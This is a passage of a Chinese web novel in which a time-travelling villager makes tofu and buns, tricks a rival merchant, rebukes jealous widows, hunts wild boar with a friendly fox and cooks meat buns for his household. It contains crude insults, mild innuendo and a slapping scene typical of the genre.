王金石心里很清楚,陈林那老狐狸必定不会善罢甘休,说不定还会派人来偷学配方或是抢夺工具,小心提防总是没错的。
抬头看了看漫天飞雪,眉头微微皱起。
昨晚还是细碎雪沫今早竟成了鹅毛大雪,照这个势头下下去用不了多久就要大雪封路。
“唉……这鬼天气,又该有穷苦人冻死饿**。”王金石低声感慨了一句,转身回到酒肆后厨。
今日天寒,他打算让伙计多炖些肉加点白玉豆腐和冻豆腐,吸饱了汤汁的冻豆腐吃起来格外入味,昨日他给老娘送了些白玉豆腐,老娘吃得赞不绝口。
王金石砸了咂嘴,想起李逸那日做的那面条,最适合这种冷天食用,吃上几口热面喝一碗热汤,浑身都能暖透。
“那面条……不知何时才能让李兄弟再做上几碗。”
王金石心里盘算着,眼珠忽然一转,陈林和县丞张贤有关系,李逸和县尉赵川交好,而这二人之上还有县令伍思远大人。
若是等豆腐的名声传到县令耳中再派人来买,倒不如现在就亲自送过去请县令大人尝尝鲜,这份心意自然不同。
打定主意,王金石当即吩咐伙计加紧制作豆腐菜品,自己则趁着这个功夫套好马车。
等菜品做好他小心翼翼地装进食盒,驱车前往县衙。
此时,县令伍思远正在书房的桌案上处理着公务,窗外的寒风卷着雪花拍打窗棂,屋内虽燃着炭火却依旧透着几分凉意。
伍思远披上一件厚厚的冬衣走到火盆边烤了烤手,刚想吩咐衙役添些炭火,就有衙役进来禀报:
“大人!王记酒肆的王店主求见,说是带了些新奇吃食想请大人尝尝鲜。”
伍思远略一沉吟,点头道:“让他进来吧。”
不多时,王金石就拎着食盒大步走进书房:
“县令大人公务繁忙,为安平县的百姓日夜操劳日渐憔悴,小人代表县城百姓给大人送些吃食来,大人可要以身体为重莫要太过操劳。”
伍思远回到案前坐下看着王金石这番殷勤模样,心中颇为受用。
笑道:“既是百姓的一片心意,本官便却之不恭了,拿上来让我瞧瞧。”
王金石连忙走上前,打开食盒将里面的菜品一一摆放在案上。
三个圆溜溜的馒头还带着热气,另外几个盘子里装着不同做法的豆腐,有撒着葱花的翡翠白玉豆腐,有色泽金黄的黄金白玉豆腐,还有一大碗冒着热气的野味炖豆腐,以及一盘豆芽炒肉。
“大人,此物名为白玉豆腐,是用黄豆制作的新奇美食,口感鲜嫩豆香醇厚,您趁热尝尝。”
王金石递上一双筷子,伍思远接过夹起一块翡翠白玉豆腐送入口中。
豆腐的鲜嫩瞬间在舌尖化开,浓郁的豆香萦绕在唇齿之间竟没有一丝生豆腥味,口感爽滑细腻堪称一绝!
他忍不住发出一声轻咦,眼中闪过一丝惊艳:
“妙!妙啊!这白玉豆腐,豆香纯正口感爽滑,若是能在全县推广开来,倒是关乎民生的一件好事。”
他又相继品尝了其他几种做法的豆腐,越吃眼神越是明亮。
心中忽然生出一个念头,年末回都城述职若是能将这豆腐的做法带过去,给当今圣上尝尝,定能博得圣上欢心。
可转念一想,这路途遥远豆腐不易保存,怕是到了都城早已坏掉,除非是将制作人一同带去当场制作。
“好!这白玉豆腐确实美味,王店主有心了。”
伍思远放下筷子,拿起手帕擦了擦嘴,脸上带着意犹未尽的笑意。
王金石连忙拱手行礼:“大人谬赞了,不过是些家常吃食,能合大人胃口便是小的荣幸。大人公务繁忙就不打扰了,小的先行告退。”
看着王金石离去的背影,伍思远满意地点了点头......
第六十七章:怒扇大张寡妇
这场冬雪纷纷扬扬的竟是下了有四日,且一日比一日大,到第四日那雪片就如同是大鹅毛一般,天地一色目之所及唯有一片白茫茫,地面的积雪厚到没了脚踝一直到小腿,县城里家家户户紧门闭户,都缩在家里不敢出屋。
这四日里,李逸和张绣娘是连天不停歇地做豆腐,二人配合做出来的豆腐又快又好。
因为豆腐的售卖价格高,哪怕是在县城里也只有富户才舍得吃,豆腐售卖的速度明显没有馒头那么快,另外馒头容易保存,而豆腐保存不当会变质,气温太低又会变成冻豆腐,只能是想吃的时候再去王记购买,无法一次多买些在家里囤积。
李逸估摸着时间已经差不多了,就让王金石喊各个店铺的老板过来,开始正式教他们制作馒头。
李逸带来的五桶老面这几天养成了十桶,看似很多,但若是这些老面分下去,谁家制作馒头的进度都快不了,还需要先养这老面,这是做馒头的核心,尤其重要。
前后算下来,在那之前,这些店铺还需要购买大一批馒头。
馒头的制作过程不难,两天时间所有人就全部学会,其中最关键的便是用来给馒头发酵的老面,以及研磨面粉的石磨,只不过王金石虽是提醒了另外八个老板,但当他们下手开始收小麦时,城里粮店粮铺所剩的也不多,还得连夜前往乡里,这些问题就不是李逸要考虑的事情。
石磨李逸卖给这些老板的价格是七百钱,对比王石匠给他的价格翻了三倍,知道后续做面条也要用到石磨,这些老板们没有一人含糊吝啬,甚至都觉得很便宜,却不知李逸从中已经获得了暴利。
王金石作为李逸最大的合作伙伴,自然是有些便利的,李逸走后他可以利用李逸住的这个院子来养着老面,还能用这里的锅灶在这蒸馒头。
一出来好几天,张绣娘看着外面厚厚的积雪,心中不免有些担忧豆子和大丫,不过安置在李逸家里,想来也是冻不着饿不着的。
“李逸,这么厚的雪咱们怎么回去啊?”张秀香担心地问道。
近几日的久旱逢甘霖再加上心情轻松愉悦,让张绣娘的气色红润竟是看起来年轻了几岁,越发美艳动人。
李逸在敲敲打打地做木工活,听到张秀的担忧笑着抬头:“无妨.....明天一早就带你回家。”
稍作思量,李逸打算去一趟陈家。
馒头的配方这么分配下去也和公开没有什么区别,只是时间的问题,人多了就眼杂手杂,制作方法泄露无论是有意还是无心,泄露出去的结果是必然的,倒不如趁这个机会坑那陈家的老狐狸一笔。
李逸找上陈家,知道是他来了陈忠连忙带着他去见陈林。
李逸还装得和上次一样,说话是表情唯唯诺诺的,面对陈林的问询有些事情他没有隐瞒,如此行径,怎么看他都像是个吃着碗里还看着盘子里的贪心鬼,越是这样,陈林便越是觉得他没有任何威胁,就是个贪财的普通小农户,毫无半点心机。
“你且稍等......”
“好的,这位老爷”李逸一脸谄媚。
没过多久陈林就去而复返,他将六个金饼放在李逸面前的桌上,李逸见钱眼开迫不及待的伸手便要去拿,陈林却是将手按在金饼上,忽地眯着眼问道。
“小子,你且告诉我,那白玉豆腐可是不是你做的?”
“白玉豆腐?这位老爷,那是啥玩意?”
李逸这种自然的反应,来这一路**在心中演练了多少遍,现在怎么看都不像是在作伪。
盯着他看了片刻,陈林才缓缓松开手,语气稍缓:
“下次.....做出什么新鲜吃食,记得先来找我,那王金石给你什么价格,我都不会低于他的。”
“明白吗?”
“成成成....陈老爷如此痛快,小的自然愿意和陈老爷做买卖啊,买卖和谁做不是做,能赚钱才是道理.....”
李逸出门从车上卸下来石磨,还有装有老面的木桶。
一整天一直到夜里才出来,陈林找了很多人来跟着学做这馒头,整个过程他也跟着,知道石磨和这老面的重要,学会之后心中很是好奇李逸是如何想出来的。
李逸李走前还询问陈林,问他收不收馒头,老面养起来之前是做不来多少馒头,若是将老面全都用光,养老面要花费很长的时间。
陈林清楚了其中的厉害关系后很痛快地点头,为了展示他更有财力,还故意说出价比王金石多一钱,有多少就往他这里送多少。
李逸表现出的这种贪财忘义,恰好符合陈林对那些穷苦农户的看法。
从陈家离开李逸就卸下了伪装,没有刻意隐瞒,他将这事告诉了王金石。
王金石一听李逸又坑了那精明的陈老狐狸六个金饼,笑得连连拍拍手:
“哈哈哈......李兄弟,真有你的啊,哥哥佩服!”
“陈老狐狸这次可是大出血了,我们把馒头的配方公布出去后,等做的馒头多了可就卖不了那么高的价格了,他这六块金饼还不知道何时能赚回来,哈哈哈哈.....”
李逸也笑了,那陈林虽看着是心机深沉的人,但却总有一种高高在上的优越感,一副根本不把穷苦农户放在眼里的模样,越是这样李逸越是要坑他。
趁着这些店主老面都没养起来,在售卖最后一批馒头,之后便可不做馒头生意主做豆腐。
而王金石这边,李逸也早就有所安排,到时候他这边联合其它掌都降价卖馒头,让陈林那个老狐狸甜头没吃到,先亏到吐血再说。
在安平县所有食肆和酒肆都开始卖馒头时,李逸会让王金石这边卖面条和包子,后续还有饼子和馅饼这些,花样多得换都换不完。
一听到面条,王金石的口水都要流出来了,相比于馒头面条的制作其实很简单,也很快。
在后世现代,只一个面条的吃法也多种多样,但眼下受限于条件和食材,具体所能实现的吃法有限。
就拿种植来说,在这古代很多作物蔬菜都没有出现,比如玉米,土豆,向日葵,西红柿,辣椒,这些都是外来品种,在大齐王朝辽阔的疆土上并没有这些。
王记酒肆后厨的厨子是王金石本家的亲戚,已经干了多年很值得信赖,两个帮厨的伙计都是他的儿子,所以无论是什么王金石很放心让他们学。
学过制作馒头,再学这面条的制作没有任何难度,只两遍他们就学会了。
李逸建议他们用大骨头熬制骨汤,以此来做面条的汤头,吃着爽滑的面条喝着骨头熬制的面汤,那绝对是这冬日里最受欢迎的美食。
中午李逸就赶着车和张绣娘离开县城,因为路面积雪太厚板车多有不便,李逸就赶制出一个简易的雪橇板车,完全参考雪橇构造制作,两个人坐在上面大骡子拉起来倒也不费力。
张绣娘也出现在了伴侣一栏,且她的好感度同样不低,初始就有45点,于巧倩的好感度依旧是最低的,这点让李逸很是无奈,不知道怎样才能让她彻底打开心扉。
这一趟坑了陈林六个金饼,临离开县城时,李逸又卖了三卷布和一些棉花,绸布要给张绣娘做衣服的,身体尺寸他是亲自用手一寸寸丈量的......
葛布相对耐磨一些,要用来给大丫和豆子做一身厚实的冬衣。
张绣娘没有那么多的想法,只要李逸对她好对两个孩子好,他便是知足了,李逸说啥她都听,想做什么她都依。
回家的这一路积雪很厚,大骡子走起来也有些吃力,用了比平时多两个时辰的时间才回到大荒村。
李逸出门前嘱咐过,馒头就一直做能做多少算多少,还说过段时间馒头就卖不了那么高的价格了,刘氏一听那是攒足劲儿,早上老早来天黑才回去。
李逸在县城这几天,还担心着积雪会压垮屋顶,回来时发现自家的屋顶和木棚顶的积雪都被清理干净了,就连张绣娘家屋顶的积雪也都清理了,不用说也知道肯定是何铁牛做的。
身边有些靠谱的人他出去办事也能放心,这也是他看中何铁牛的原因。
今日不做豆腐,李逸让他们全力做馒头,多赚点馒头钱的同时也是为了多坑一下陈林,给他送几千个馒头,让他一冬天都卖不出去。
虽是说物品栏里还有一头剥了皮的野猪,但李逸
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还是觉得肉食不够用,接下来他要推出的馒头的进阶版,包子,以现在的条件只能做肉包子,所以野味要多打一些才是。
正准备和秦心月进山,就看到大张寡妇带着六七个寡妇堵在院门口。
“看.....大家快来看!”
“这李三啊,他带着她们赚钱不带咱们,瞅瞅她们都穿新衣吃饱饭,咱们还挨饿受冻,大家都是一个村,他咋能这么偏心嘛!”
大张寡妇抱着肩膀在那阴阳怪气,其它寡妇抻着脖子往院子里看,院子里飘满香味,张绣娘和陈氏,刘氏他们都在热火朝天地忙活着。
“李三,你可是钻过我被窝的,我还给过你三碗粟米呢,你赚钱了不带我,你还算是个人嘛?”
说话是赵寡妇,一段删除的不堪记忆随之浮现在脑海中。
“哎呦....你们快看张绣娘穿的,她肯定是和李三好上了,以前装得和什么是的,现在真是一点脸都不要了。“
“呸!不要脸的小**,就知道勾搭汉子,谁知道那两个孩子是不是初四的种啊。”
“是啊,我看她是钻了别人被窝带的野孩子......”
张绣娘本是不予理会,知道这些寡妇就是眼红嫉妒,可她们的话是越说越难听,气得她浑身颤抖。
李逸黑着脸上前,一个大嘴巴张寡妇是被他打的身体转了一圈爬到雪窝子里。
只不过当了几天好人,就有人以为他李逸是好说话的人了。
“李三!你敢打我!老娘和你拼了!”
大张寡妇挣扎着起身,李逸反手又是一巴掌把她打倒,目光阴沉居高临下地盯着她。
“老子愿意带谁赚钱就带谁赚钱,有能耐你们自己想法赚去,老子不听你们叽叽歪歪。”
“还有,我告诉你们,初四哥那是我们老李家的人,他就我这么一个兄弟还活着,他走了绣娘嫂子自然是要跟我过,以后这俩孩子还要喊我爹呢。”
“你们嚼舌根可以,最好别当着我的面,让我听见,见一个我打一个!”
“这村子里老子看着顺眼的人,只要肯干都能跟着我赚钱,老子看着不顺眼的人跪地求我也没用,赶紧滚!”
看着李逸一个人站在门口面对那些悍妇为自己出头,句句话说在心坎里,张绣娘眼里噙着泪,心里是阵阵暖意流淌。
大张寡妇还想说什么,看到李逸那凶狠的表情缩了缩脖子什么都不敢说了,爬起身带头离去。
对待这些悍妇,就不能再当女人对待,给他们好脸色她们的气焰只会更嚣张。
在有能力前提下,李逸很愿意带着同村的人一起赚钱,让大家都有饱饭吃,但也不是随便一个人都行,偷奸耍滑全是小心思的他是一概不要。
时候尚早,李逸赶紧带着秦心月进山。
因为积雪太厚看不清下面的真实路况,二人是深一脚浅一脚地往山里走。
李逸一边走一边给秦心月讲解,那些雪中的足迹都是什么猎物留下的。
上次跟着赵川进山剿匪,回来后那些铁头羽箭没有收回都被李逸他们带了回来,没走多远二人就看到了两只洁白的雪兔。
一人一箭,两只雪兔全被射杀,不过李逸箭射中的是头部,而秦心月是命中了雪兔的身体,这样一来她那只雪兔毛皮的品相就要打些折扣,但若是自己用也无大碍。
多日未曾进山,一场大雪之后很多小动物都出来觅食了,野兔和野鸡二人都打了不少。
李逸拿出贴身的水囊喝了一口,丢向秦心月,二人相视一笑。
秦心月很喜欢这种感觉,跟李逸在一起她无论做什么内心都会感觉到安定踏实。
“走!我们换个地方,兴许能发现些大的猎物!”
李逸想到之前赤狐带路的那边,那边他很少踏足,想来猎物也有很多,虽说脚下的积雪让行走艰难,但李逸现在的体质是远超常人,所以对他来说没有什么影响。
秦心月自幼习武体质也远非常人,练出了那口气后身体就不再依仗蛮力,以气用力可以节省很多力气。
忽地,在前方山林中有一抹赤红色出现,秦心月见状连忙举起了手中弓箭.....
第六十八章:雪夜狼嚎!
“心月,住手!”
李逸连忙抬手制止了秦心月,怕她一箭将这只很通人性的赤狐射杀。
“这只赤狐很通人性的,看到它我们今天的大猎物,就有着落了”李逸笑着解释。
秦心月疑惑地看向李逸,那只赤狐见到秦心月抬起弓箭连忙躲开,在看到李逸微笑招手后它又探出头来,待观察了片刻后试探着走过来。
“过来...过来”
李逸蹲下身,伸出一只手。
赤狐没有感受到李逸的恶意,竟是主动将头伸向李逸的手掌蹭了蹭,紧接着围着李逸转了一圈嘴里发出低低的叫声。
秦心月见状也很诧异于这只赤狐的通人性。
李逸从身后的箩筐中拿出一只野鸡,在赤狐的面前晃了晃笑着说:
“带我去找猎物,找到这只就是你的。”
赤狐似是听懂了李逸的话,微微仰头发出一阵愉悦的叫声,随后它走上前去,走出一段距离停下脚步,回头望着李逸和秦心月。
“走......我们跟过去看看......”
李逸双眼放光,带着秦心月快步跟上,心中已经在期待着这次会有什么收获。
山林的山势开始起伏,坡度逐渐变大,踩着这么厚的积雪下面还有落叶杂草,无法避免的会脚下打滑,这让二人的行进速度受到很大影响。
走了大半个时辰,在前面带路的赤狐终于所异动,它压低了身体微微探着头,在雪地中缓缓前行。
李逸和秦心月见状也压低身子跟了上去,等到了赤狐藏身的位置再往前看去,视线前方的雪地中,正有一大一小两只野猪正在那埋着头不知道寻找什么。
李逸心中一喜,和秦心月对视一眼毫不犹豫地拉弓搭箭。
弓弦震动间两支羽箭几乎同时飞出,野猪虽是皮糙肉厚,但反曲**的弓力很强,再搭配铁头的羽箭,狩猎两只野猪毫无悬念的轻松。
李逸箭法如神,习惯性地射击野猪的眼睛,这能确保一击必杀。
旁边的秦心月稍有偏差射中野猪的前腿,野猪吃痛低吼正欲逃窜,李逸补射的第二只羽箭姗姗来迟,精准地命中其头颅,结束了它的惊慌和痛苦。
两只野猪倒在雪窝之中,赤狐率先冲出去,围绕着两只野猪的尸体转圈,转头看向李逸时,那眉眼仿佛是人性化的在笑。
李逸又伸手摸了摸它的头,拿出两只野鸡丢给它。
“给你!这是你的奖励,快回去照看小狐狸吧。”
两只野鸡被一根绳子绑在一起,这样赤狐只需叼着一只,另一只一路在雪地拖着。
又围着李逸转了两圈,赤狐低叫了两声后才迅速离去,火红的身影消失在山林中。
“这只狐狸,真的很通人性,感觉像是要成精呀”秦心月忍不住赞叹。
“是吧,我也是这么觉得,上次是小狐狸被兔子套套住了,它来向我求助,我救下小狐狸也放过了它们,它就引着我找到了头野鹿。”
李逸走上前查看两头野猪,成年的这头个头很大有两百多斤,小点的这头也要有一百斤。
秦心月想到了什么一双细长的剑眉轻皱着,从这里回村还有很远的一段路要走,积雪这么后还有些滑,这一路将两头野猪扛回去可不是一件容易的事情。
李逸看出了秦心月的担忧,笑着说:“喊声好夫君听听,我告诉你怎么把这两头野猪弄回去。”
秦心月听闻,美眸一眨不眨地瞪着李逸,努力保持自己的清冷:
“好....好夫君!”
“嗯....真乖!”
李逸从箩筐底部翻出木工工具,轻车熟路地砍了些粗树枝,以最快的速度制作成一个筏子,将两头野猪放在木筏上,因为地面有一层厚厚积雪下面还有杂草,几乎不费什么力气就能将这筏子拖走。
看李逸得意地扬起眉毛,秦心月的嘴角也翘起跟着露出微笑。
“你要不要坐上来?夫君把你也拉回去,省着些力气晚上你好侍寝啊”
秦心月俏脸微红,随即上前和李逸一起拉着木筏,然后故作镇定:
“夫君,你还是省些力气留到晚上吧。”
李逸挑眉!很好!本夫君就是喜欢你这叛逆有个性的模样!
二人回到家时天色已经黑了,陈氏刘氏她们吃过后都回家去休息,李逸给了于巧倩一个钱箱,留给她三串铜钱,他不在家时便是由于巧倩负责给这些寡妇开工钱,张绣娘和陈氏一直都是单算的。
但自从和李逸去了县城确定关系后,张绣娘便是不再要李逸的钱,吃的穿的用的都是李逸给的,那么多铜钱放在家反倒是让她觉得不安稳,谁知道会不会有人妒忌做出些什么出格的事情,所以这些铜钱还不如放在李逸那里。
张绣娘相信就算以后需要用钱了,李逸也会毫不吝啬地拿出来。
“三叔和心月婶婶回来了!”
豆子和大丫正蹲在锅灶旁,看到李逸进来喊了一声就迎了上来。
“呦!两头野猪!哎呀,李逸你可太厉害了!”张秀香还习惯性地想喊李三,话到嘴边连忙改口。
“夫君太厉害了!心月姐姐也厉害!”白雪儿也很是欣喜。
这次进山打的猎物,不算给赤狐的两只野鸡,一共猎得一大一小两头野猪,五只雪兔,两只野鸡,收获可以说是相当的丰厚。
但如今家里的人也多了,有四个媳妇,外加张绣娘和豆子大丫,陈氏和她家的苗苗也要计算在内,这么多人吃,肉的消耗也大。
“嫂嫂....今晚先别着急,给你们烤兔肉吃!”李逸笑着说。
豆子原地跳起发出一声欢呼:“好哎!有肉吃喽!”
张绣娘伸手拍了下豆子的头嗔道:“吃吃吃,就知道吃,你个小馋鬼!”
“嘿嘿.....”豆子嬉笑着跑到一边。
白雪儿看着豆子可爱的模样,又看了看自己的肚子,她都侍寝好几天了,肚子里应是有李家的子嗣了吧。
“雪儿,想什么呢?”于巧倩在旁边推了她一下问道。
白雪儿皱着小眉头:“姐姐,我现在有了吗?”
于巧倩脸颊一红:“哪有...那么容易啊.....”
陈玉竹也在旁白,虽是脸红但还是开口说道:
“是的,雪儿妹妹,我听爹爹说有人很容易就怀身孕,但也有多年求子无果的”
白雪儿听闻脸色一白:“啊?那该怎么办呀?”
于巧倩在旁边安慰:“雪儿,这种事情可是急不来的。”
“是呀雪儿,爹爹说这是两个人的事情,任何一方身体有不妥之处都会有影响的。”陈玉竹也跟着安慰。
上一秒白雪儿还在暗自伤心着,下一秒她就坐在那边津津有味地吃着烤兔肉,和豆子坐在一起。
“明天,我准备给大家做一种新奇的吃食,和馒头很像但是要比馒头好吃得多”
李逸一句话,白雪儿和豆子一同投过来亮闪闪的目光。
“夫君真厉害!”
“三叔真厉害!”
就连于巧倩和秦心月她们,也在心中有所期待,身边有李逸这么个总能想出新奇吃食的人在,真是想不变成馋猫都很难。
李逸要做包子,眼下他能想到的馅料就是肉馅,家里有大葱还有蘑菇,调味品虽是只有盐和豆豉,但只要处理得当还是能够调制出比较不错的味道。
后半夜和秦心月的最后一战,双方斗的是难分难解,不过最后还是李逸技高一筹,秦女侠败下阵来。
刚睡着就听见有嚎叫声响起。
嗷呜.......
秦心月和李逸同时睁开双眼坐起身,于巧倩和陈玉竹也有所察觉,只有白雪儿窝在李逸怀中呼呼睡得很香甜。
“夫君.....是什么声音?”陈玉竹小声发问。
“没事,一只狼而已”
李逸语气平静的回答,听起来是丝毫不在意这能**的猛兽。
“狼!”陈玉竹有些害怕。
“玉竹妹妹放心,有我和夫君在,狼来了也是有去无回。”秦心月也开口安慰。
李逸心中清楚,若是近期继续大量降雪,觅食难度增加后饿狼袭击人类村庄是很正常的现象,甚至有可能山
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中的猛虎也会出山觅食。
村里条件差没有养什么活物,是连只土狗和大公鸡都没有,这种情况下一旦有猛兽进村,它们的目标只能是攻击村民。
李逸对此并不担心,家里有秦女侠在,加上如今他的身手也是很不错的,身体基础被数值化直观清晰,力量和体力相较刚穿越时足足提升五倍,敏捷也有三倍,这种身体素质可以媲美习武多年的江湖人。
否则就他这单薄的小身板,四个美艳的媳妇别说是夜夜劳累,一天他都扛不住啊。
身体的基础条件有,现在只是没有时间进行有针对性的搏击训练,也和李逸对这方面没想法有脱不开的关系,天下刚定没有战乱,他习武所能做的很有限。
当个武将还要天天和玩笔杆子的那些文臣,耍心计互相算计。
武将啊!有拳脚还不能用,不能看着哪个老家伙不顺眼就上去一拳打死,绕了一大圈学武的尽头居然是拼智谋,骁勇善战只能杀敌,最难防的是有人背后捅刀子。
绕了一大圈就是为了画上一个圆,看透这个本质的李逸,想想都觉得憋屈。
所以拳脚武功在李逸这里就是强身健体和自保用的,有祸事临头不用再去找帮手,当然对方也未必会给他这个时间。
一愣神的功夫,呼呼酣睡白雪儿就被陈玉竹无情的拉出了李逸的被窝,她则是趁机钻进去缩在李逸的怀里求安慰。
“夫君.....我就是有点害怕,你不要乱动哦”
陈玉竹露出无辜的大眼睛,有些羞怯盯着李逸。
论年纪陈玉竹只比白雪儿大两岁,秦心月和于巧倩倒是相差不多。
北风呼啸......
大雪之后温度骤降,纵使盖着厚厚的棉被,身下有热炕却依旧会觉得寒冷。
越是冷李逸就是想念儿时农村的那种炉子,不过那种铁炉子烧的并非秸秆和木柴,核心是煤块,也只有煤块耐烧才可以持续地为屋子提供热量。
眼下是否发掘出煤炭投入生产生活使用,李逸还不知晓,但就安平县城来看应是没有的。
就连打铁铺这种对火焰温度有严格要求的地方,目前所使用的还是木炭和松明。
松明是以富含树脂的干燥松木为原材料制作的燃料,因为树脂的原因燃烧得很快,在打铁时多加些可以一瞬间提升火焰的温度,以达到使用的效果。
而像王金石他们所用的火盆,条件好的燃烧些木炭,条件差的人家只能使用木柴,冬季在不通风的环境下使用,有非常高的一氧化碳**的风险。
所以如果有机会,李逸还真想去寻找开采些煤块。
能源是生产力推动的核心,这个时代不需要考虑更复杂的石油开采和提炼运用,只是煤炭全面运用到生产中,那就是这个时代的一场工业**啊。
李逸拍了拍脑袋,大脑里装着现代的东西和思维方式,这让他的想法总是会不受控制地自己往外跑。
但很多东西都要根据实际情况,以现在条件去思考制作飞机大炮电脑手机,手皮都搓烂了也搓不出来,所能做到的只有改进吃食,制作些新奇玩意,制作提升干活效率的实用工具。
努力屏除了脑中乱成一团的想法,李逸快速起床。
今天他要制作的是包子,做法就是在馒头的基础上加入馅料,当然这个馅料的制作就有着很多讲究。
材料有限,李逸要做的馅料以野猪肉为主材,加入泡发的干蘑,调味的是大葱,盐,和少许豆豉。
练完拳,李逸就开始在外屋处理野猪肉,昨晚睡觉前他就完成了剥皮,手法娴熟让秦心月都惊叹,无论是做什么,李逸都能做到技艺飞速提升,明显到每天每次都能看到明显变化。
取了一条猪前腿肉,为了剁肉馅,李逸还特意弄了个木墩子。
咚咚咚咚......
两把菜刀交替剁在肉上,力求将肉的颗粒切得细碎些,众人都是第一次看到有人将肉切得这么细碎,一时间也不知道李逸究竟要做些什么,但却都是在心中期待着.......
第六十九章:惊艳众人的包子
院外的木棚下,张绣娘和陈玉竹正在制作豆腐,陈氏和刘氏带着另外三个寡妇在做馒头,李逸已经说过了馒头的高价格就只有这几天,所以每多蒸一个就多赚一个的钱。
用了半个时辰,挥刀挥出了一头热汗,李逸才算是将肉馅剁细碎到他比较满意的程度,看不到什么明显的大颗粒,搁在现代一个绞肉机就能轻松搞定,之后是加入切碎的蘑菇和葱花,以及盐和少量豆豉进行馅料的调味。
虽说在这个缺衣少食的荒年,大家都对食物要求没有那么高的标准,就是随便弄一下他们都会有种惊为天人的感觉,但李逸本身的要求是很高的,他第一次做的宝子,绝不能有肉腥味吃着也不能太腻,这算是他的底线。
几乎是一上午李逸都在忙活着制作馅料,等时间接近正午时,张绣娘她们这边已经完成了两板豆腐的制作,陈氏他们那边的馒头也做出两百多接近三百个,他们这几日每天制作的馒头都超过五百个。
包着上纱布装进麻袋中,放在外面一晚上就能冻得和石头一样,在天暖起来之前这些馒头都不需要担心变质的问题。
眼看着到了正午饭口,李逸没急着让大家吃饭,他将张绣娘和陈氏叫过来,拿了要蒸馒头的一大块发好的面,慢慢地教张绣娘和陈氏二人包包子。
包包子可以很讲究也可以很简单,将馅料塞进去只要不露馅,表面弄得和馒头一样光滑就行,这样最简单。
但想要讲究些,包花的褶子上就有很多门道,为了和馒头区分开,李逸选择了一种最简单常用的方式。
明明感觉很简单,但在具体操作时就出现了些偏差,李逸包的包子看着是有那么点意思,但总感觉有点怪怪的,跟着张绣娘和陈氏一边包一边摸索,张绣娘大概明白后甚至比他包的还要好看些。
白雪儿和豆子在旁边一直守着,抻着脖子眼睛一眨不眨地瞪着,看得很是入神,时不时地吞咽一下口水,将肉包在馒头里,只是幻想一下他们都觉得好吃,满心期待着。
很快,第一个笼屉就被摆满了,这些包子的个头和馒头差不多足有二十五个,正好外面刘氏她们也要蒸下一锅馒头,李逸就端过去一起蒸,将笼屉放在最下面。
白雪儿和豆子紧跟着转移了阵地,去外面守着锅灶,手法已经熟练的李逸和张绣娘,抓紧将剩下的包子包完,加起来一共三笼屉足有七十个。
馒头因为里面没有馅料受热均匀,在笼屉上蒸熟的时间要短一些,李逸制作的大肉包子肉馅实诚,在馒头蒸熟后还需要在蒸制七到十分钟才能真正熟透。
这可是苦了白雪儿和豆子这两只小馋猫,她们已经能够闻到那种特殊的香味,和馒头纯粹的麦香味不同,期货总还夹杂那种馅料蒸熟的独特香味,肉味和葱香味交织在一起。
“夫君,馒头都蒸好了,那个包子还没有蒸好吗?”白雪儿第三遍询问李逸。
“三叔!三叔!我都闻到香味了,这个包子是不是可以吃了?”豆子第四遍发问。
看他们两个眼巴巴的模样,李逸笑着连连摇头,沾有面粉的手在他们两个鼻尖都抹一把,让他们看着更像是小花猫。
“估摸着应该是可以了......我来瞅瞅”
李逸走到锅灶旁将蒸笼盖子揭开,蒸气夹杂着包子的香味铺面而来,顷刻间飘满整个院子,连木棚里的大骡子也不**分地甩了甩头。
这段时间经常有豆渣吃,这头大骡子看着比刚带回来时精神了不少,脖子的鬃**看着都柔顺了许多。
老面养的时间越久发酵的效果越好,所需要放入的分量会相应的减少,今天的白面发得很好,所以包子皮很松软表面也很光滑。
李逸拿出一个包子,滚烫的包子像是活了一样在他两只手中跳来跳去来,白雪儿和豆子的眼睛就跟着包子来回移动。
等包子凉了些,将包子掰开,那一瞬间馅料的香味彻底飘出来,李逸认真嗅了嗅没有闻到肉腥味,说明去腥还是比较成功的。
“来吧,你们两个先尝尝,小心烫啊!”
将包子一分为二交给两个头号馋猫,李逸转身又去拿了一个掰开给了同样眼神期待的大丫。
豆子学着白雪儿的模样,先是呼呼呼地吹了好几口凉气,然后才小心翼翼地放在嘴边咬了一口,从这个角度看,馅料有着色泽鲜亮的油光,掰开时甚至还有些汁水,这便是李逸心目中所想要达到的效果,他不喜欢那种太干的馅料,觉得口感和味道都差上一筹。
白雪儿一口咬下,顿时就感到满嘴都是猪肉的鲜香,其中还有葱香和蘑菇特有的味道,以及淡淡的豆豉味儿。
眼睛不自觉地瞪到最大,白雪儿,豆子,大丫,同步的只发出呜呜的声音,谁都没有说话,沉浸式地吃着这包子,一吃一个不吱声。
这反应反倒是急坏了张绣娘:“豆子,大丫,好不好吃你们倒是说句话啊?”
在三人将包子全部吃完后,白雪儿跑过来直接扑进李逸怀中,有些夸张的大喊:
“夫君!我最最最最最喜欢这个包子了,好吃的我都要把舌头咬掉了,怎么能这么好吃啊!你是怎么做的”
豆子点头如同捣蒜,虎着小脸用非常认真的表情说道:
“包子真好吃,三叔真厉害,我不学做豆腐了,我以后要学做包子!”
“三叔,这个包子太香了!我从来没吃过这么好吃的东西!”大丫也跟着赞叹。
三人的反应,说明了一切,其余人都下意识地吞咽口水。
李逸满意笑了笑:“大家都过来吃包子吧,这就是咱们的晌午饭!”
刘氏离得近,她上去拿了两个最大的,给了铁牛一个自己留下一个。
张绣娘拿起包子,给了三个还有些不好意的寡妇,李逸则是先分给秦心月,陈玉竹和于巧倩,最后才轮到他自己。
大家的动作,几乎都是同步的。
先是满心期待地咬下一口,被里面的蒸汽和汁水烫到,然后呼呼呼地吹着粗气,紧接着就咬下了第二口和第三口。
李逸对这个味道很是满意,没有肉腥味也没有什么其它的莫名味道,咬一口真的是唇齿留香,香的很纯粹,肉质鲜美。
调制这馅料虽是没有诸多的调味料,但贵在原材料更好,后世现代什么都讲究一个快捷高效,赚钱也是力求用最快的速度见到利益回报。
就拿猪肉来说,养殖场喂养的那些猪,吃饲料长得极快。
农村人吃惯自家养的猪肉,在吃养殖场里猪肉,第一感觉便是肉不香,还有股腥臭味。
而那些吃散养黑猪肉长大的人,吃自家猪圈里饲养的猪也是这样,吃养殖场厂里的猪肉更是夸张得难以下咽。
所以在制作包子时里面才会放诸多的调味料,增香是次要主要是掩盖肉的腥味儿,哪怕是在冷库里冻上两年的僵尸肉,制作成馅料很多人也都是吃不出来有什么差别的。
而李逸所用的是野猪肉,吃的全是大山里土生土长的东西,漫山遍野的溜达,猪肉只要处理得当就不存在任何异味,调味的料单一,反而恰到好处的让野猪肉本身的肉香,完全味发挥出来。
